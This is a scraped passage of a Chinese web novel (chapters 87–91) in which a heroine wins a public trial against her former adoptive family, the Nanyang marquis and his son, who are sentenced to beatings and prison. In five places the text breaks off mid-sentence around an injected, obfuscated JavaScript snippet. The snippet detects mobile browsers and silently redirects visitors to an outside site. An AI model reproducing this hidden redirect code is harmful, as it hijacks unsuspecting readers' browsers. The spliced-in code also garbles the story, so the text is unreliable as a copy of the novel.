“初晴人真的不坏的,你看上回老三的腿断了,她都能不计前嫌……” “幸亏老幺在国子监没回来,没参与这个事儿。不然我真的……” “唉!闹成这样,以后我都不敢叫初晴帮什么忙了!” 嬷嬷说道:“永安县主人的确是挺好的,应该也是离开侯府那日,伤心了。” 她也就只敢应这一句。 不得不说,他们夫人就是异想天开! 都闹到这个样子了,但凡侯府这群男人是能低头的,永安县主也不至于这样啊! 以前这群男人可真没少对大小姐颐指气使,但只要不过分,大小姐根本就没跟他们计较过。 最多…… 最多也就是在去公中支银子的时候,小小为难一下嘛! 谁让他们仰她鼻息吃饭呢? 如今这势头,只怕他们跪在永安县主面前求原谅,她都不会皱一下眉头的了! 侯夫人叹息:“算了,我是管不了他们的,他们爱怎么闹怎么闹吧。这个家,迟早要散!” 她自己都顾不上了,哪里还顾得了别人的死活。 关键,他们也不让她管呀! 想想自己苦命的一生,她又忍不住哭起来。 而在侯夫人走后,厅内剩下的几人面面相觑了一会儿。 桑怀民不满地说道:“母亲她怎么胳膊肘往外拐?没看见桑初晴把我们欺负成什么样了吗?她还帮那个**说话?我们家都被那小**拆散了!” 原本他有妻有子。 可是,在喻初晴的干涉下,妻离子散! 都是喻初晴那个**害的! 他不仅想要喻初晴吐出银子来,他还想要喻初晴死! 桑老夫人道:“如今难道不是应该想,怎么应付今日的官司吗?你老在想什么东西?” 桑文柏看向老夫人:“母亲,你身子骨不好,就先歇着吧。外间的事,儿子自行料理就是了。” 京畿卫。 喻初晴要求公审,京兆府尹同意了。 可围观群众太多,府衙容不下那么多看客啊。 因此,断案场所并不在府衙,而是借用了京畿卫的大演武场。 比武擂台上设置了幕布,幕布上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446413|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方悬挂着“明镜高悬”的匾额,这是府尹大人张太鑫特意恭恭敬敬请过来的。 幕布的前方,是主审官的案台,还有陪审官乔松海专用的席位。 京兆府的衙役一个个拿着木杖,包围住擂台。 先前声势浩大,加上过了五天的流言发酵,整个帝京都知晓:南阳侯父子挑衅生事、污蔑永安县主转移南阳侯府家财一案! 而同时提告的,还有桑怀民造黄谣、诋毁永安县主清誉的毁谤案——这件事比前面一件情况还要恶劣,黄谣的对象是太子! 这样大的瓜,怎么能错过? 堂外都是围观群众,人山人海! “永安县主到!” 喻初晴准时到达。 她要打官司,一大家子都把手头的事情放下,陪着她过来。 看见喻家高颜值阵容出现在公审堂上,竟有围观群众大声吆喝:“县主,你一定要赢啊!” “县主,我们是来给你打气的!” “县主不要怕,那一日的事我们都是证人,皇帝老子来了,我们也给你作证!” “……” 都是那一日喝了她的绿豆汤、和拿了她的红封赏银的。 开玩笑,谁家有这么大方,打赏给路人甲的红封,都是一两银子起步的! 还有一个最高彩头十两的! 拿了十两红封的那个人,叫得最大声:“永安县主,今日南阳侯府那些不要脸的,但凡敢动你一根汗**,我们这么多人一哄而上,把他们胖揍得娘都不认得!” 当即就有人嘘嘘他:“哪里还用得着咱们上?当县主的兄弟们都是吃素的呢!没看见抡大锤的那小伙子吗?长得可真好看啊!” 喻尚武:“???” 见到这等场景,喻今歌震惊无比:“姐,他们这都是成了你的拥护者了?” 喻昔词与喻慕文对视一眼,兄弟俩眼眸里都是笑意:就说他们的妹子手段了得吧? 她可真的会经营民心、引导**! 如此声势浩大,南阳侯府的人岂非成了过街老鼠? 正说着—— “南阳侯到!” 第87章 蠢人做事,总是不计后果的 听说南阳侯到了,便有人开始谩骂: “南阳侯的脸皮是真厚啊!都弄成这样了,还好意思出现?” “要我就躲家里不出门了!” “不来走这一遭,怎么要得到十八万两银子呢,你们说是吧?哈哈哈哈哈!” 伤害不大,侮辱性极强! 南阳侯府父子二人,在一片骂声中进入公审堂。 就,真挺难看的! 桑怀民气得不行:“这群人是不怕死吗?一个个贱民,以下犯上!” “谁说他们是贱民来着?”喻初晴嘲讽地说道:“桑怀民,瞪大你的狗眼看清楚,来的都有些什么人?” 她今日穿着暗红色抹胸,裙子是红底黑纱,外面披了件米白色的宽袍大袖,将大红大黑的颜色压住。 手中摇着一柄红黑金配色的团扇,整个人又飒、却又极尽风雅! 桑怀民愣住。 他这个曾经的妹妹,真的跟以前不一样了! 她以前不会穿这么招摇的颜色,太狂肆了。 但,他的注意力很快转移到了围观群众身上。 “父亲……”他小声跟南阳侯咬耳朵:“怎么来了这么多高门大户的人?” 可不仅仅是权贵之家的下人来打听消息的,而是…… 不少他们眼熟的公子、贵女! 长辈自持身份大抵不会来,来的都是各家各户的小辈。 因此桑文柏不认得,经过桑怀民给他点了几个,“XX家的公子”、“XX家的嫡女”,他终于意识到:喻初晴要求公审,这是故意要弄南阳侯府在整个帝京名声都臭完! 而在场的这些权贵家的小辈,还有不少都是跟喻初晴交好、那日乔迁宴都去给她贺喜、并观礼的。 眼瞧着桑文柏的脸色越来越差,桑怀民破口怒骂:“桑初晴,这本是自己家里的事,你这样做,也不怕天打雷劈!” 这话,都不用喻初晴回怼,中二少年就是那小炮仗,逮谁炸谁:“别笑**了!谁跟你自己家?你们姓桑,我们家姓喻!喻初晴、她是我姐!是你们全家人让她净身出户赶走、还找人追杀她!现在怎么就好意思,舔着个脸说是自己家人的?” 喻今歌双手掐腰,一开口就叭叭叭个不停:“别说我姐了,就是你曾经的妻子、儿子,如今都跟你不是一家人了。就问你气不气吧!” 后面这一句,是跟他姐学的。 瞬间嘲讽升级! 妻离子散的桑怀民怒火也升级:“你个黄毛小儿……” “你才黄毛!”喻今歌根本不给他说下去的机会。 中二少年拿出了泼妇骂街的气势,掐着腰、上半身倾斜:“桑怀民你这种干啥都失败的孬种!自己没本事,只敢打老婆出气的没种男人!上回谁被我二哥吓得尿裤子呀,脸都丢到海里去了呢!我要是你,都不敢上这么多人的场合来,毕竟我要脸!” 一个脏字不带,却把桑怀民说得头顶冒烟。 桑怀民抬手,想冲过去打他。 不想,对面最高大的那个猛男硬汉喻昔词,悄然往前站了一步。 那淡漠的眸光扫过来,轻飘飘问:“你想动手?” 桑初晴的大哥,对上喻初晴的大哥! 这完全不是一个量级! 桑怀民秒怂。 他甩了甩袖子,哼了一声偏过头去,强行挽尊:“不跟乡下泥腿子一般见识!” 喻今歌得意洋洋地吐舌头:“略略略,说不过人就假装自己高贵嘛,我懂!” 还别说,喻家这小儿子是真的贼会气人! 喻初晴看着直想笑:小弟,应该加鸡腿儿! 桑怀民还想骂回去,可此时,公审开始了。 “威~~~武~~~” 衙役们用手里的木杖敲击着地面,整出了肃静的气势。 “府尹大人到!” 张太鑫从夹道里走出来,走上了公堂,又朝后方拱手:“请乔大人上座!” 主审官和陪审官都来了,原以为应该开始审案了。 不想在此时,外面一声高唱:“太子殿下驾到!” 储君仪仗到,迅速将人群散开,让出一条通道。 太子萧景明从轿子里下来,后头领着几名官员,款步走来。 桑文柏的脸色更难看了。 他今天,真不该来的! 但,来不来其实也由不得他! 他要是不来,张太鑫肯定要派人上门去“请”。 怎么“请”,就有说法了! 储 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446414|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君嫁到,所有人跪下行礼:“参见太子殿下千岁!” 萧景明走上公审堂,扬声道:“都起来吧。” 还是习惯性的,目光第一时间投向喻初晴。 她今日的装扮十分罕见,令他眼神下意识一亮。 但他很快就挪开,没在她身上多加停留。 张太鑫站起,问:“敢问太子殿下这是……” 萧景明面无表情地道:“孤听闻,南阳侯府桑怀民,造谣诋毁孤的名誉,便想亲自来看看。这个案子既然与孤有关系,孤是当事人,岂能不在?” 他的目光最后落在桑怀民头上,微哼了一声:“桑怀民,你说是吧?” 这话,让桑怀民头上只冒冷汗,腿都有点发抖了,不由自主地跪了下去。 喻初晴笑了下。 蠢人做事,总是不计后果的。 一时冲动之下什么话都敢说、什么事都敢做,一副老子天下第一的模样。 但,责任临头了,他们根本扛不住。 这时候就知道害怕了! 还别说,这种人不但有,现实生活中还相当多,随便在身边就能找到不少! “桑怀民。”见那脓包不敢说话,萧景明沉声又道:“你们南阳侯府的人,还挺有意思的。” 点名、还点到家里了! 桑文柏额头也开始冒汗了。 但太子不让他们说话,他不敢说。 “孤听闻与经历的这些事,当真是有意思。”萧景明又道: “接回嫡女,赶走养女、还要追杀!” “嫡女胆敢迷晕孤身边的侍女,对孤投怀送抱,之后就来个受害者论,逼得孤不得不将其收入太子府做侍妾。“ 他抑扬顿挫地道:“孤自认自己是正人君子,即便并没有与南阳侯嫡女发生过什么,为了你家女儿的声誉着想,也承担起了责任!” 说到这里,他声音陡然严厉起来:“可现在!” “桑怀民,你编排孤与你们养女有染,并送金送银、送宅子送奴仆,却就是连个名分都不能给!” “怎么,我朝天下在你桑家人的嘴里,想怎么说、就怎么说!” “孤在你桑怀民的眼里,就是个不负责任的人,你说什么、就是什么吗!” 第88章 桑怀民你不行啊 后面这话,可就重了! 超大一顶铁帽子扣下来,桑怀民顿时亚历山大! 桑文柏再一次跪下,道:“殿下息怒!犬子口无遮拦,他已经知错了!” “哦?”萧景明哂笑,反问:“哪里错了?” 身为太子殿下,本就是为了储君声誉来的。 而萧景明本人,自然也多了一点私心:当他这个太子是死的,先不说喻初晴是他的意中人,只说她是他的救命恩人,就不能容许他们这般践踏! 可萧景明这个人,喻初晴也是知道的。 他过分爱惜羽毛,在意储君声誉,尚未登上大宝,做事总是小心翼翼。 偶尔,难免会显得有些优柔寡断。 好比桑雪的事,换萧风岚都会立刻将桑雪打死;好比桑怀民造黄谣的事,在知道这件事的第一时间,换萧风岚就会立刻想办法弄死桑怀民了! 但,并不是坏事。 对于他们这些为人臣的人来说,主君过分自我、唯我独尊,才是坏事。 面对太子的质问,桑文柏连忙给桑怀民使眼色。 桑怀民一万个不甘心,也不得不老老实实开口认错:“臣有罪……” “慢着!”萧景明冷冷说道:“因着沾上了官司,孤命人特意打听过了,如今的南阳侯嫡长子,已无任何官职在身!” 言外之意:你自称臣,你有资格吗! 桑怀民不得不换自称:“怀民知错,请殿下恕罪!怀民不该一时冲动,被桑初晴气上了头,口不择言牵扯到了太子殿下!” “呵!”萧景明笑了声,猛地脸色一沉,道:“桑怀民你好大的胆子!” 桑怀民连忙磕头。 多说多错,他不敢说话了。 萧景明声音冷厉,面色阴沉:“其一,喻初晴已经受封永安县主,其身份凌驾于你头上,你还当她是南阳侯府的桑初晴不成!” “她已经改姓喻这么久了,你这是完全不将圣旨放在眼里!” “你这般颐指气使,可见她从前还在南阳侯府,过的是任由你呼来喝去的日子!” “身为长兄,你不曾尊重过她,才会在把她赶出家门后,对她辱骂欺凌、一口一个桑初晴!” “永安县主的名讳、姑娘家的声誉,到了你桑怀民这里,就完全不不当一回事!” 太子震怒,下令:“来人,掌嘴二十伺候!” 桑怀民惊恐地道:“殿下恕罪,我再也不敢了!再也不敢了!” 由不得他敢不敢,身为太子亲卫,喻尚武站了出来:“殿下,卑职**!” 看到喻尚武,桑怀民立即想起上次被这锤子美人支配的恐惧。 偏偏,萧景明同意了:“好,尚武你去。” “是!”喻尚武笑了,往桑怀民走去。 “二哥。”喻初晴轻声说了句:“你轻点儿。” 见状,有人下意识发出感慨:“永安县主可真是太善良了!面对这样狼心狗肺的大哥,她还关心他!” 殊不知,她是担心,喻尚武一巴掌就把桑怀民扇飞! 今天的案子还没有开始审理呢,让桑怀民死在律法下,不能让二哥沾他的脏血! 如今的局势看来,她二告的内容已经不需要再审。 太子本尊冲着这件事来的! 喻尚武将大铁锤扛在肩头,侧头回了一句:“放心吧晴晴,要不了他的命!” 就这样,单手扛着铁锤,空出了左手:“喏,桑怀民你别说我欺负你,我左手力气是小一点的。” 桑怀民:“……” 你当我不晓得,你左手抡铁锤也是抡得飞起! 很快,一巴掌扇了过来。 他整个人倒在地上。 喻尚武“啧”了一声:“不是我说,我已经收着力气了,你也太弱了些!” 桑怀民被太子亲卫拖起来,喻尚武又一巴掌过去。 飞了! 以桑怀民的体型,从军的人也是挺壮的,竟被一个秀秀气气的大美人儿一巴掌扇飞! “嗐,桑怀民你长这么大块头,是摆设吗?” 第三巴掌。 “我说你也太不禁打了,轻轻碰一下你牙齿就掉了?” 第四下。 “桑怀民你不行啊,怎么?你所有的本事都在欺负女人上面了,面对男人你就不中用了啊?” 第五……第二十下! 每打一巴掌,喻尚武就要嘲讽一句。 极尽羞辱! 他真的是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446415|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很收敛力气,就跟平时拍拍手一样。 但桑怀民两边脸颊都已经肿成了猪头,嘴里在流血,掉了三颗牙! 更甚者,那一声声的嘲讽,比打脸还疼! 现场的看客无不觉得爽极了: “喻家二公子那句话说得可真对,这桑怀民欺负他夫人的时候不知多威风,辱骂永安县主的时候不知多得意!面对男人了,他就是个怂蛋、弱鸡!” 喻尚武回转过身,把铁锤杵在地上,朝萧景明行礼:“殿下,掌嘴完毕!” 萧景明颔首。 喻初晴说道:“二哥,快去洗洗手吧,多脏啊。” 这句话也像一巴掌,狠狠打在了桑怀民的脸上! 桑怀民不是不生气,而是根本没有力气生气,整个人像条死猪一样,瘫在地上。 脸上火辣辣的疼、脑袋瓜子嗡嗡的! 萧景明下巴轻抬,问:“张卿,永安县主二告桑怀民造黄谣一案,先审吧。” 张太鑫一凛,忙道:“太子殿下请上座!” 萧景明坐下。 乔松海与张太鑫也坐下。 其他人不管是原告还是被告,都站着。 尽管此时还是上午,日头却已经很毒辣了。 坐着的人都在拉了棚子的阴凉处,其他人都在太阳底下晒。 萧景明看着喻初晴,轻蹙眉头,道:“来人,给永安县主赐座。” 她是他的救命恩人,不管他对她如何优待,都是名正言顺的。 但,喻初晴拒绝了:“谢殿下恩典。不过,初晴的父兄都站着、也都晒着,岂有我独自享受的道理?我若一个人去坐下了,岂非真成了南阳侯府的人嘴里给我扣的帽子——不孝不悌?” 这话,令不少人没忍住笑了。 县主府挂匾那日,南阳侯举家出动,给她扣的帽子不就是这个? 可摆在眼前的现实就是:人家多孝顺啊! 倒是喻惊鸿有些担忧:“晴晴,爹和他们几个大老爷们,晒一下又不会糊!咱家闺女娇花似的,可不能晒蔫儿了。你去阴凉的地方坐着吧,我们家的姑娘就得好好养着!” 听到这话,众人忍不住都朝桑文柏看去。 都是爹,怎么差别就这么大! 第89章 炸裂四方 桑文柏没被掌嘴,却像是被扇了一样,脸上火辣辣的! 他这个当爹的,的确从未关心过女儿! 不仅对喻初晴没有,对如今的桑雪,也是极少的。 他从骨子里,看不起女人! 喻初晴笑道:“爹,我无碍的。” 张太鑫是个会来事的,当即道:“来人,给永安县主那边,撑一顶凉棚!” 一个大凉棚撑在了喻家扔哪儿上方,很好,都不被晒了。 张太鑫还想说要安排椅子,喻初晴拒绝了:“府尹大人体恤,初晴已经感激万分。但我既为原告,站着也是不妨事的!” 她又看向萧景明:“殿下,早点把案子审完吧,免得临近晌午了只会更晒。那么多围观的百姓,也都是受罪呢!” 这话是相当得分的。 上回的绿豆汤和大红封,给她打下了民心的基础。 那些普通百姓,哪一个提到喻初晴不得说一句:县主大人人美心善! 喻家父子几人再一次感慨:我家女儿/妹妹,当真是聪明伶俐、七窍玲珑! 萧景明自然是同意了:“不错。张卿,开始吧。” 他心想:这帝京贵女无数,真的再也挑不出任何一个,能跟初晴相媲美的。 只有喻初晴,才适合做太子妃! 他明年就年满二十,今年必须定下太子妃。 可,如何说服喻初晴呢? “先审造谣案!”张太鑫回到了京兆府尹的威严之中,一拍惊堂木:“升堂!” 衙役木杖击地:“升~~~堂~~~” 张太鑫厉声道:“被告桑怀民,永安县主喻初晴告你造谣诽谤,说她与太子殿下有不正当关系,借此获得太子赏赐。可有此事!” 桑怀民脸疼、牙疼、嘴巴疼…… 哪哪哪儿都疼! 他还没说话,外围的百姓就有人扔了一个烂桃子过来,砸在了他脸上。 “我们作证,他的确说了那样的话!” “对,我们亲眼所见、亲耳所听!” 很好,桑怀民都不用说了。 但,走流程还是要的,又拍惊堂木,衙役跺着木杖:“肃~~~静~~~” 张太鑫问:“桑怀民,可有此事!” 桑怀民不得不忍者剧痛,艰难发声承认:“确有。” 张太鑫又问:“那么,你之所言,是你胡诌造谣,还是确有此事?” 桑怀民敢说一个“不”字吗? 太子殿下还在那坐着呢! 他老老实实说道:“是我造谣生事,想要诋毁桑初晴的名誉,让她在帝京无立足之地!” 终于老实了。 “造谣毁谤罪名成立!”张太鑫一拍惊堂木:“本府宣判,桑怀民诽谤永安县主、诋毁其闺誉,根据我朝律法,判其牢狱五年,收押于本府大牢!同时妄议储君、以下犯上,对太子殿下声誉造成恶劣影响。特,刑罚加倍,共计十年牢役!” 桑怀民猛地抬起头来:“十年!” 喻初晴唇角一撇。 本朝律法对于诽谤的处置,还算是轻的。 历史上,诽谤到太子这种身份的人头上,惩处是相当严厉的:牢役和劳役是最轻,可能判处斩、绞刑、肉刑! 但,也还行吧。 反正桑怀民是完了! 他人在牢里,如何磋磨就是另一回事了。 是他自己扛不住牢狱之苦,自个儿死掉了,怪不了任何人,对吧? 有太子压阵,桑文柏虽然心急自己的儿子要坐牢,却不敢有半点不服。 他心想:坐牢是坐牢,后面还是可以想办法把人救出来、或者是减缓刑期的。 今日先顺着太子殿下,回头他再想办法打点就是了。 当然,他并不知道自己即将面对什么—— 张太鑫又拍惊堂木:“永安县主喻初晴,状告南阳侯桑文柏,诬陷其偷盗、转移、卷走家财一案,正式开审!” 这件事当日就已经有了前奏:“本府接到状纸后,立即派人前往南阳侯府,将其五年来有喻初晴经手的所有账本,全部取回府衙。” “本府特聘二十位账房先生,五日来,在户部侍郎乔大人的主持下,将喻初晴提供的——存档在通济当铺的账本副本,一一与侯府账本进行比对!” “下面,请乔大人陈词!” 乔松海朝太子行了一礼,道:“本官乃户部侍郎乔松海,专司国库账务!感念皇恩浩荡、得永安县主信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446416|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 任、经京兆府尹大人请托,本官率领二十名账房先生,将南阳侯府五年来的中馈流水一一做了对账!” “现,将对账结果在公审堂上说明如下——” “经查,南阳侯府五年账本,与通济当铺存档副本,全部勾对,无一笔偏差!” “事实证明,永安县主并无转移南阳侯府家财、以及任何资产的迹象!” “从五年前,南阳侯府已经没有家财可供永安县主转移了!” “相反,后来侯府有不少入账,皆是永安县主私账赠予充入公中,南阳侯府才得以维持日常开销嚼用!” 这话一出,炸裂四方。 妈呀,听说南阳侯府穷——上回连玉都说了,那是真穷。 却没想到,比他们想象的还穷! 乔松海丢出这铿锵有力的结果,他站了起来,朝喻初晴方向拱手作揖:“永安县主做账精细、清晰、明了,乃我辈学习之楷模!我户部诸多人员所做之账,尚且不及县主,实在是惭愧、惭愧啊!” 其实,从永安县主拿出证据自证清白,他们已经知道结果了——南阳侯府必输无疑! 只是南阳侯府那些人不知道哪儿来的信心,竟还如此坦然。 有时候不得不感慨:傻人有傻福啊! 但,堂堂的户部侍郎、掌管国库账务的乔松海,竟然说永安县主做账的能力、水平,竟然比户部很多人都要厉害?!!! “永安县主,是神仙下凡吧!” “她怎么能把所有事情都做得这么好的?” “问题是,南阳侯府的人都瞎了吗?看不到她的好,还把她赶走?” “笑死,南阳侯府接回来一个爬太子床的真嫡女,赶走了人美心善、什么都会的全能养女!” “……” 一片议论纷纷中,喻初晴面色平静地朝乔松海还礼,道:“乔大人谬赞了。南阳侯府的账务并不多,岂能跟国库相提并论?我也是一边做账、一边学习。别的不敢当,只庆幸未雨绸缪,为防万一将所有的账目都做了存档,今日才能洗我清白!” 她转头看向桑文柏:“我、喻初晴,没有转移南阳侯府一两银子!” 幽幽一问:“这个结果,南阳侯清楚了吗?” 第90章 恩义彻底了断 清楚了吗? 不少看客都看向桑文柏,大有他敢说不清楚,他们就要开骂的意思。 太子在上,乔松海亲口说出来的,桑文柏敢说不清楚? 欺软怕硬的人,在太子面前,他很老实:“臣清楚了!原是臣误解了初晴,如今真相大白,那自然是皆大欢喜!” “不!” 喻初晴却猛地将话砸出来。 她上前一步,道:“你欢喜,我可不欢喜!” 你happy,我不happy! “初晴……”南阳侯想在太子面前表现一下,他们之间也是有父女之情的。 他动情说道:“是为父糊涂,听信谗言,一时误解了你。但不管怎么说,你我十七年的父女感情,也并非虚妄。从前不晓得你并非亲生,为父不也对你还挺好的嘛?” “挺好的?”喻初晴瞪大眼睛,眼里都是匪夷所思:“你管不闻不问,动不动就以父权天威来压制女儿叫挺好的?在南阳侯府不仅是女儿,你的母亲、你的夫人、你的妾室,哪一个不是以你为尊、说句话都要看你脸色?你管这叫挺好的?” 她指了指自己身后的喻家众人:“那我在喻家,所有好东西都进了我的碗里;” “你把我赶出侯府后我穿着一身贴里去了光明村,我爹亲手给我缝新衣裳;” “我娘拖着病体每日给我挑换洗衣物;” “全家什么活儿都不让**,都是我十三岁的弟弟包圆了,洗澡水都是我弟弟给我提的;” “我二哥三哥,处处保护我的人身安全、维护我的尊严;” “我大哥虽然刚回帝京,却总担心我出门遇到难处,总是随行保护……” “敢问南阳侯,你前脚把我赶出南阳侯府、后脚就派出死士去杀我,你那叫好,他们叫什么?” 她笑得满脸嘲讽:“我在侯府被你养了十七年算什么?” 最后丢出四个字:“算、我、倒、霉!” 尤其是—— “南阳侯,方才乔大人已经为我证明了,我不但没拿你们侯府的银子,甚至还贴补了很多!你不是都听清楚了吗?” “我做好事不求回报,就当报答了尊夫人的养育之恩!” “你还想在这么多人面前,道德**我?” “脸呢!” 围观群众看得那叫一个爽! 当然,听她说了这些,不少人都没忍住想:南阳侯真不是个东西! 倒是喻家,对闺女这么好? 话又说回来了,桑雪离开了喻家回桑家,真的不会后悔吗? 妈呀,怕是悔得肠子都青了吧? 桑文柏被喻初晴一连串的质问,弄得哑口无言。 但他还想狡辩两句:“我只是……” “太子殿下在上,府尹大人、乔大人在此,恳请诸位贵人做个见证!”喻初晴打断了他的话。 说了那么多、气氛烘托到这里了,她转头看向主审官方向,拱手作揖行大礼,道:“南阳侯名义上养我十七年,但——” “从十二岁起我努力经营、贴补南阳侯府家用,五年来养了一大家子!养育之恩便可对消!” “南阳侯桑文柏,在接回亲生女儿后便将我逐出侯府,我未拿侯府一针一线;之后南阳侯还派死士杀我,我差点命断认亲路上!就此一命相抵,我与南阳侯的恩义仇怨一笔勾销!” “从今往后,希望南阳侯府任何人别再提起桑初晴这个名字,我喻初晴,不再跟南阳侯府有任何关系。” “南阳侯在我永安县主府挂匾大喜之日**,圣上已有发落,一事不做二罚。” “但——” 转折来了! “此次他们故意上门叫骂,诬陷我偷他们家的银子、对我进行人格侮辱、以及勒索财物!” 喻初晴指着桑怀民,道:“他勒索我给十八万两银子,此话在场有的是人替我作证!” 她恭敬说道:“恳求当庭为我做主,若只是洗刷了我的冤屈、便放过罪魁祸首,他们便会以为犯错成本很低,以为皇朝天威可容臣下尽情藐视、我永安县主人尽可欺!” “故!” “请堂上从重发落!” 众人听得血脉沸腾。 好一段慷慨激昂的陈词! 前因后果讲述得条理分明,表示她与南阳侯府恩义了断。 后面更是逻辑闭环,要求惩处**、维护自身权益! 这样的永安县主,哪里还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446417|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要请大状啊,她自己就有辩才! 而在她说完话之后,喻惊鸿率领四个儿子上前,齐刷刷拱手行礼。 喻惊鸿掷地有声地说道:“恳请堂上为草民女儿做主,惩处罪魁,莫要让她日后再遭南阳侯府众人以养育之恩裹挟,对她做出欺凌压迫!” 不得不说,兄弟齐心其利断金。 喻家这团结一致的态度,实在是让人艳羡。 张太鑫很想立刻拍板。 但即便他是府尹,这是他的主场,依然是要尊重一下太子殿下的。 他转头恭敬询问:“殿下,您的意思是?” 萧景明心里自有判断,但他并不喧宾夺主,道:“本是京兆府的案子,孤只是作为当事人、为证清白走这一趟。既然已证清白,张卿尽管按照本朝律例法令判案即可。” “是!”张太鑫心喜。 但面上不显。 他端正了眉目,一拍惊堂木,道:“本朝律令,诬陷他人、情节严重者,可判杖责一百、五年牢役!” 桑文柏一怔。 上次才挨了五十庭杖未久,又来??? 还翻倍了!!! 不得不说,他这个人当真是不长脑子。 富不过三代,这到了第六代,祖上积的功德早就都消耗光了。 聪明人,就应该另辟生路。 没本事的,理当谨小慎微、夹着尾巴做人。 而他们近三代人,不但没有行善积德,反而还自以为了不起,高高在上便罢,还德行有亏! 遭这样的下场,岂非意料之中? 但,桑文柏不想坐牢啊! 情急之下,他下意识抓住喻初晴做救命稻草:“初晴!为父的确是受人蒙骗,才会误解你的!你是原告,可申请撤告的!算为父求你,撤告吧!” 喻初晴笑了。 有些蠢,真叫人无力发笑啊! 喻今歌满脸的不可思议,震惊地道:“南阳侯你脑壳有包吗?没听见我姐刚才恳请堂上,为了她日后的个人名誉与生命安全着想,要求从重处罚吗?你还叫我姐撤告!!!” 初生牛犊不怕虎,厉声质问:“今天你这么敢想,明天是不是就敢诬陷太子殿下了?” 第91章 没见过一刀捅进自己气管的 还别说,太子头上还真的扣了一口锅——桑雪爬床那口! 身为太子,萧景明不得不以仁义为上。 不然他皇帝老爹还没死呢,他就霸道狂狷,那这地位也不能稳。 可,南阳侯将这一点,当做他不要脸的资本! 没人提这回事,桑文柏反倒是自己主动提起、戳太子痛点: 他朝萧景明跪下,求情道:“太子殿下,求您看在阿雪的份上,饶过臣这一次!臣保证以后不会再犯!” 喻初晴笑了。 这是哪壶不开提哪壶? 萧景明也被气笑了:“南阳侯,你可真会异想天开!” 不提桑雪,他倒也还好。 提到了桑雪,他的气息阴沉下来,怒道:“京兆府尹张太鑫听本宫旨意,南阳侯诬陷孤的救命恩人永安县主一案,刑罚翻倍处置,任何人不得求情。求情者,不问情由,同南阳侯桑文柏一道、流放三千里!” 这话砸下来,所有人都懵住了。 好家伙! 喻初晴也瞪了瞪眼睛。 她直呼一个好家伙! 本来萧景明想以维护自己的仁君形象,日常总是宽厚待人。他没想插手判罚,尽管这种事他真要插手,也合情理。 偏偏桑文柏不知死活,舞到他面前去找死! 哈哈哈! 真想狂笑三百声,为南阳侯助兴! 张太鑫也想大笑—— 太子殿下帮忙定夺了,对他来说岂非是最好的? 他当即一拍惊堂木:“南阳侯诬陷永安县主一案,罪名成立!本府宣判,叛处南阳侯杖责二百、牢役十年!” 桑怀民挨了十年,桑文柏也十年。 两人可以在牢里父慈子孝了! 噢不对,二百刑杖落下来,还有没有命活十年??? 张太鑫的话还没说完:“另,南阳侯长子桑怀民,勒索永安县主十八万两银子。按我朝律法,本府判罚:处以桑怀民鞭笞五十!” 桑怀民疼得恍惚,一瞬间还以为自己听错了,猛地抬头起来! 却见萧景明对喻初晴说道:“今日,你与南阳侯府恩义已然了断,日后,桑家人再对你有任何为难,你不必再留情面!” 喻初晴行礼:“谢太子殿下!” 轰轰烈烈的诬告案,到此结束。 围观群众奔走相告,开心得跟过年似的! 相比之下,桑家父子犹如丧家之犬,即将面临牢狱之灾,并且一个要杖责二百还不知道受不受得住,还有一个鞭刑五十! 